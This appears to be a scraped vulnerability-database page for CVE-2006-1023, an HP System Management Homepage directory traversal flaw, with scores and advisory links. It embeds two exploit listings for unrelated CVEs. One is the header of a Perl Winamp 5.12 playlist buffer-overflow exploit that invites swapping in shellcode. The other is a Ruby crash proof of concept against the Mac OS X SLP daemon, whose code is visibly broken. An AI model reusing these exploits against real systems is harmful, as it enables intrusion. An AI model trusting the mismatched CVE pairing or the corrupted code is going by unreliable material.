CVE-2006-1023
published 2006-03-07CVE-2006-1023: Directory traversal vulnerability in HP System Management Homepage (SMH) 2.0.0 through 2.1.4 on Windows allows remote attackers to access certain files via…
PriorityP429medium5CVSS 2.0
AVNACLAuNCPINAN
EPSS
6.76%
93.3th percentile
Directory traversal vulnerability in HP System Management Homepage (SMH) 2.0.0 through 2.1.4 on Windows allows remote attackers to access certain files via unspecified vectors.
Affected
2 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| hp | system_management_homepage | — | — |
| hp | system_management_homepage | — | — |
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Winamp 5.12 - '.pls' Remote Buffer Overflow (Perl) (2)
exploitdb·2007-03-07
CVE-2006-0476 Winamp 5.12 - '.pls' Remote Buffer Overflow (Perl) (2)
Winamp 5.12 - '.pls' Remote Buffer Overflow (Perl) (2)
---
#!/usr/bin/perl -w
# ===============================================================================================
# Winamp 5.12 Playlist UNC Path Computer Name Overflow Perl Exploit
# By Umesh Wanve ([email protected])
# ===========================================================================================================================
# Credits : ATmaCA is credited with the discovery of this vulnerability.
#
# Date : 07-03-2007
#
# Tested on Windows 2000 SP4 Server English
# Windows 2000 SP4 Professional English
#
# You can replace shellcode with your favourite one :)
#
#
# Buffer = "\x90 x 1023" + EIP
#
# Desc: you cant put shellcode after EIP. No more space after this. The winamp simply crashes. When you debug it,
Exploit-DB
Apple Mac OSX 10.4.8 - SLP Daemon Service Registration Buffer Overflow (PoC)
exploitdb·2007-01-18
CVE-2007-0355 Apple Mac OSX 10.4.8 - SLP Daemon Service Registration Buffer Overflow (PoC)
Apple Mac OSX 10.4.8 - SLP Daemon Service Registration Buffer Overflow (PoC)
---
#!/usr/bin/ruby
# (c) Copyright 2006 Lance M. Havok
# Kevin Finisterre
# All pwnage reserved.
#
# Proof of concept for MOAB-17-01-2007
# http://projects.info-pull.com/moab/MOAB-17-01-2007.html
#
# Originally reported to Apple by Kevin, on 08/02/2006.
require 'socket'
target_path = (ARGV[0] || '/var/run/slp_ipc')
slp_socket = UNIXSocket.open(target_path)
payload = ("\x58" * 506)
payload
"\xff\x03\x00\x00" + # length of attr-list string 0x3ff = 1023 in hex.
(payload) #
slp_socket.write stream
slp_socket.close
# milw0rm.com [2007-01-18]
No writeups or analysis indexed.
http://secunia.com/advisories/19059http://securitytracker.com/id?1015692http://www.securityfocus.com/archive/1/426345/100/0/threadedhttp://www.securityfocus.com/bid/16876http://www.vupen.com/english/advisories/2006/0769http://www2.itrc.hp.com/service/cki/docDisplay.do?docId=c00601530https://exchange.xforce.ibmcloud.com/vulnerabilities/24996http://secunia.com/advisories/19059http://securitytracker.com/id?1015692http://www.securityfocus.com/archive/1/426345/100/0/threadedhttp://www.securityfocus.com/bid/16876http://www.vupen.com/english/advisories/2006/0769http://www2.itrc.hp.com/service/cki/docDisplay.do?docId=c00601530https://exchange.xforce.ibmcloud.com/vulnerabilities/24996
2006-03-07
Published